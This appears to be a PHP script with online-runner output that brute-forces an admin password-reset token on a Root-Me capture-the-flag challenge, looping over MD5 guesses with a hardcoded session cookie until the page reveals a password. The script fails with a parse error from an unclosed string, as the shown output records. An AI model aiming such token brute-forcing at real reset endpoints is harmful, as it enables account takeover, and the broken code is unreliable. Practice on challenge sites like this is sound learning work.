<?php
$ok = 1;
while($ok==1){
$salt = microtime();
$generated_token = MD5('$salt' . rand(1, 100));
$url = "http://challenge01.root-me.org//realiste/ch14/?p=forgot_dev&username=admin&token=".$generated_token;
echo $url;
$ch = curl_init();
// configuration de l'URL et d'autres options
curl_setopt($ch, CURLOPT_URL, $url );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_HTTPHEADER, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Accept-Encoding: gzip,deflate,sdch Cookie: PHPSESSID=9211kbnklf3dbgq0o6k7ono9o6;);
$chaine=curl_exec($ch);
echo $chaine;
if (strpos($chaine,"Votre mot de passe est") !== false) {
echo $chaine;
$ok = 2;
}
curl_close($ch); // fermeture de la session curl
}
?>
- Output for 7.0.0 - 7.0.1
- Parse error: syntax error, unexpected 'Votre' (T_STRING), expecting ',' or ')' in /in/R0uoK on line 18
Process exited with code 255. - Output for 5.5.24 - 5.5.30, 5.6.8 - 5.6.16
- Parse error: syntax error, unexpected 'Votre' (T_STRING) in /in/R0uoK on line 18
Process exited with code 255.
preferences:
167.4 ms | 1387 KiB | 25 Q